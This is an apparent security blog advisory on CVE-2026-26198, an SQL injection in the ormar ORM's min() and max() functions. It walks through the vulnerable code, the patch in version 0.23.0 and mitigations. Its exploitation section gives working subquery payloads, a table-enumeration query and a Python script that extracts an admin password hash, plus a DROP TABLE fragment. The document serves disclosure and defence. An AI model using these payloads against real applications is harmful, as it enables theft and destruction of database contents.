Feb 24, 2026·6 min read·9 visits
Ormar versions 0.9.9 through 0.22.0 contain a critical SQL injection flaw. The library fails to validate column names passed to `min()` and `max()` functions, passing them directly to `sqlalchemy.text()`. This allows unauthenticated attackers to dump the entire database via subqueries.
A critical SQL injection vulnerability in the Ormar Python ORM allows attackers to execute arbitrary subqueries via the min() and max() aggregate functions. While numeric aggregates like sum() were validated, min/max inputs were passed directly to a raw SQL sink, bypassing sanitization.
We rely on Object-Relational Mappers (ORMs) for two main reasons: laziness and safety. We don't want to write JOIN statements by hand, and we definitely don't want to think about escaping inputs. We assume that if we use the ORM's methods—like .filter(), .count(), or .max()—the library will handle the dirty work of sanitizing data before it hits the database driver.
But sometimes, that trust is misplaced. Enter ormar, a slick, asynchronous mini-ORM for Python that plays nice with FastAPI and Starlette. It’s fast, it’s modern, and until version 0.23.0, it had a gaping hole in how it handled basic statistics.
Imagine you have a public endpoint that displays the highest price of an item in your store. You grab the query parameter field and pass it to Item.objects.max(field). You expect ormar to complain if the field doesn't exist. Instead, ormar takes whatever string you give it, wraps it in a hug, and sends it straight to the database engine. If that string happens to be (SELECT password FROM users LIMIT 1), ormar happily asks the database: "What is the maximum value of the admin's password?"
The root cause of CVE-2026-26198 is a classic case of "partial implementation." The developers actually did implement validation logic for aggregate functions, but they stopped halfway through.
In the ormar codebase, aggregate functions like sum(), avg(), min(), and max() all route through a central helper method. The logic for sum and avg is sound: these operations only make sense on numbers. If you try to sum a text column, the database throws a fit. So, the developers added a check: if the function is sum or avg, ensure the target column is numeric.
However, min() and max() are different. You can find the minimum value of a string (alphabetical order) or a date. Because these functions don't strictly require numeric types, the developers skipped the type check.
> [!WARNING] > The Fatal Mistake: They removed the type check but didn't replace it with an existence check.
Because they didn't verify that the input was actually a column defined in the model, the code proceeded to create a SelectAction with the raw user input. This input was eventually passed to sqlalchemy.text(), which tells SQLAlchemy: "Trust me, this string is safe SQL, just run it." Spoiler: It wasn't safe.
Let's look at the vulnerable code in ormar/queryset/queryset.py. This is where the decision making happens.
# Inside _query_aggr_function
select_actions = [
SelectAction(select_str=column, model_cls=self.model) for column in columns
]
if func_name in ["sum", "avg"]:
# This protects sum and avg because 'is_numeric' validation
# indirectly filters out complex SQL injection strings.
if any(not x.is_numeric for x in select_actions):
raise QueryDefinitionError(
"You can use sum and avg only on numeric columns"
)
# ... but if func_name is "min" or "max", we fall through here!
# The select_actions are used to build the query.The SelectAction class then takes that raw string and does the unthinkable in select_action.py:
def get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:
alias = f"{self.table_prefix}_" if self.table_prefix else ""
# HERE IS THE INJECTION:
return sqlalchemy.text(f"{alias}{self.field_name}")By using sqlalchemy.text(), the library explicitly opts out of parameter binding for the column name. If self.field_name contains SQL syntax (like subqueries or comment characters), it gets executed.
Exploiting this is trivially easy if the application exposes the column selection to the user. An attacker doesn't need to break out of quotes because sqlalchemy.text() injects the payload as a raw expression.
Target URL: GET /api/stats?metric=max&column=<PAYLOAD>
We inject a subquery. If the database returns a result, we have code execution.
Payload:
(SELECT 1337)
Resulting SQL:
SELECT max((SELECT 1337)) FROM itemsResponse: 1337
Now we treat the max() function as a data oracle. We can dump table names from the master record.
Payload:
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table')
Here is a weaponized script to dump the admin_users table:
import httpx
TARGET = "http://vulnerable-app.com/stats"
# The injection payload targets the 'column' parameter
# We use a subquery to fetch the sensitive data.
sql_payload = "(SELECT password FROM admin_users WHERE username='admin')"
response = httpx.get(TARGET, params={
"metric": "max",
"column": sql_payload
})
print(f"[+] Admin Password Hash: {response.json()}")Because the result of the subquery is passed to max(), the database evaluates the subquery first, returns the string (the password), and max() simply returns that string to the API response. It is a highly efficient, single-shot exfiltration vector.
This vulnerability is rated CVSS 9.8 (Critical) for a reason. It requires no authentication (assuming the endpoint is public), has low complexity, and results in total compromise of the database confidentiality and integrity.
; DROP TABLE users; --.This isn't a complex memory corruption bug; it's a logic flaw in a high-level library that makes ormar applications vulnerable by default if they allow dynamic column selection.
The fix implemented in version 0.23.0 is simple but effective: Whitelisting. The library now checks if the requested column actually exists in the model's metadata before constructing the SQL query.
In ormar/queryset/queryset.py, the developers added a check that applies to all aggregate functions, not just sum and avg:
# The fix:
if any(x.field_name not in x.target_model.model_fields for x in select_actions):
raise QueryDefinitionError(
"You can use aggregate functions only on existing columns of the target model"
)ormar to version 0.23.0 immediately.?sort=price) to internal column names (e.g., item_price_usd).SELECT, FROM, or parenthesis characters ().CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
ormar collerek | >= 0.9.9, <= 0.22.0 | 0.23.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-89 (SQL Injection) |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Privileges Required | None |
| Exploit Maturity | Proof of Concept (PoC) Available |
| Patch Status | Available (v0.23.0) |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')